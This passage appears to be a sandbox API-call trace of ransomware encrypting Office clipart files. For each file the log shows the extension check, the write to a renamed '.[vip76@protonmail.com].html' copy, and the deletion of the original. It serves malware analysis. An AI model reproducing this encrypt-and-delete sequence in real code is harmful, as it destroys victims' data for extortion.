	[0178.003] lstrlenW (lpString=".7z") returned 3
	[0178.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.003] lstrlenW (lpString=".dbf") returned 4
	[0178.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.003] lstrlenW (lpString=".1cd") returned 4
	[0178.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.003] lstrlenW (lpString=".jpg") returned 4
	[0178.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.004] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.004] lstrlenW (lpString="HH02282_.WMF") returned 12
	[0178.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.004] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7932) returned 1
	[0178.004] CloseHandle (hObject=0x5bc) returned 1
	[0178.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220
	[0178.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.005] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.005] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.006] GetLastError () returned 0x0
	[0178.006] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1efc, lpOverlapped=0x0) returned 1
	[0178.336] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1f00, lpOverlapped=0x0) returned 1
	[0178.337] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.337] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.338] SetEndOfFile (hFile=0x5c0) returned 1
	[0178.338] CloseHandle (hObject=0x5c0) returned 1
	[0178.338] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.338] SetEndOfFile (hFile=0x5bc) returned 1
	[0178.701] CloseHandle (hObject=0x5bc) returned 1
	[0178.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1
	[0178.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.703] lstrlenW (lpString=".doc") returned 4
	[0178.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString=".docx") returned 5
	[0178.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.703] lstrlenW (lpString=".pdf") returned 4
	[0178.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString=".xls") returned 4
	[0178.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.703] lstrlenW (lpString=".xlsx") returned 5
	[0178.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.703] lstrlenW (lpString=".ppt") returned 4
	[0178.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.703] lstrlenW (lpString=".zip") returned 4
	[0178.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.703] lstrlenW (lpString=".rar") returned 4
	[0178.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString=".bz2") returned 4
	[0178.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString=".7z") returned 3
	[0178.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.703] lstrlenW (lpString=".dbf") returned 4
	[0178.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".1cd") returned 4
	[0178.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".jpg") returned 4
	[0178.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".doc") returned 4
	[0178.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString=".docx") returned 5
	[0178.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.704] lstrlenW (lpString=".pdf") returned 4
	[0178.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString=".xls") returned 4
	[0178.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.704] lstrlenW (lpString=".xlsx") returned 5
	[0178.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.704] lstrlenW (lpString=".ppt") returned 4
	[0178.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".zip") returned 4
	[0178.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.704] lstrlenW (lpString=".rar") returned 4
	[0178.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString=".bz2") returned 4
	[0178.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString=".7z") returned 3
	[0178.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".dbf") returned 4
	[0178.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.704] lstrlenW (lpString=".1cd") returned 4
	[0178.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68
	[0178.705] lstrlenW (lpString=".jpg") returned 4
	[0178.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.705] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.705] lstrlenW (lpString="IN00343_.WMF") returned 12
	[0178.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.706] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1892) returned 1
	[0178.706] CloseHandle (hObject=0x5bc) returned 1
	[0178.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220
	[0178.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.707] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.707] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0178.707] GetLastError () returned 0x0
	[0178.707] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x764, lpOverlapped=0x0) returned 1
	[0178.709] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x770, lpOverlapped=0x0) returned 1
	[0178.710] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.710] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.710] SetEndOfFile (hFile=0x5c8) returned 1
	[0178.710] CloseHandle (hObject=0x5c8) returned 1
	[0178.710] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.710] SetEndOfFile (hFile=0x5bc) returned 1
	[0178.713] CloseHandle (hObject=0x5bc) returned 1
	[0178.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.713] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1
	[0178.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.714] lstrlenW (lpString=".doc") returned 4
	[0178.714] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.714] lstrlenW (lpString=".docx") returned 5
	[0178.714] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.714] lstrlenW (lpString=".pdf") returned 4
	[0178.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.714] lstrlenW (lpString=".xls") returned 4
	[0178.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.714] lstrlenW (lpString=".xlsx") returned 5
	[0178.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.714] lstrlenW (lpString=".ppt") returned 4
	[0178.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.714] lstrlenW (lpString=".zip") returned 4
	[0178.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.714] lstrlenW (lpString=".rar") returned 4
	[0178.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.714] lstrlenW (lpString=".bz2") returned 4
	[0178.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.714] lstrlenW (lpString=".7z") returned 3
	[0178.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString=".dbf") returned 4
	[0178.715] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString=".1cd") returned 4
	[0178.715] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString=".jpg") returned 4
	[0178.715] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString=".doc") returned 4
	[0178.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString=".docx") returned 5
	[0178.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.715] lstrlenW (lpString=".pdf") returned 4
	[0178.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString=".xls") returned 4
	[0178.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.715] lstrlenW (lpString=".xlsx") returned 5
	[0178.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.715] lstrlenW (lpString=".ppt") returned 4
	[0178.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.715] lstrlenW (lpString=".zip") returned 4
	[0178.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.715] lstrlenW (lpString=".rar") returned 4
	[0178.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString=".bz2") returned 4
	[0178.715] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.715] lstrlenW (lpString=".7z") returned 3
	[0178.715] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.716] lstrlenW (lpString=".dbf") returned 4
	[0178.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.716] lstrlenW (lpString=".1cd") returned 4
	[0178.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68
	[0178.716] lstrlenW (lpString=".jpg") returned 4
	[0178.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.716] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0178.716] lstrlenW (lpString="IN00346_.WMF") returned 12
	[0178.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.717] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=696) returned 1
	[0178.717] CloseHandle (hObject=0x5bc) returned 1
	[0178.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220
	[0178.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0178.717] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.717] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0178.718] GetLastError () returned 0x0
	[0178.718] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x2b8, lpOverlapped=0x0) returned 1
	[0178.719] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x2c0, lpOverlapped=0x0) returned 1
	[0178.720] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.720] WriteFile (in: hFile=0x5c8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.720] SetEndOfFile (hFile=0x5c8) returned 1
	[0178.720] CloseHandle (hObject=0x5c8) returned 1
	[0178.720] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.720] SetEndOfFile (hFile=0x5bc) returned 1
	[0178.723] CloseHandle (hObject=0x5bc) returned 1
	[0178.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1
	[0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.725] lstrlenW (lpString=".doc") returned 4
	[0178.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.725] lstrlenW (lpString=".docx") returned 5
	[0178.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.725] lstrlenW (lpString=".pdf") returned 4
	[0178.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.725] lstrlenW (lpString=".xls") returned 4
	[0178.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.725] lstrlenW (lpString=".xlsx") returned 5
	[0178.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.725] lstrlenW (lpString=".ppt") returned 4
	[0178.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.725] lstrlenW (lpString=".zip") returned 4
	[0178.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.725] lstrlenW (lpString=".rar") returned 4
	[0178.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.725] lstrlenW (lpString=".bz2") returned 4
	[0178.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.725] lstrlenW (lpString=".7z") returned 3
	[0178.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString=".dbf") returned 4
	[0178.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString=".1cd") returned 4
	[0178.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString=".jpg") returned 4
	[0178.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString=".doc") returned 4
	[0178.726] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString=".docx") returned 5
	[0178.726] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.726] lstrlenW (lpString=".pdf") returned 4
	[0178.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString=".xls") returned 4
	[0178.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.726] lstrlenW (lpString=".xlsx") returned 5
	[0178.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.726] lstrlenW (lpString=".ppt") returned 4
	[0178.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68
	[0178.726] lstrlenW (lpString=".zip") returned 4
	[0178.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.726] lstrlenW (lpString=".rar") returned 4
	[0178.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.727] lstrlenW (lpString=".bz2") returned 4
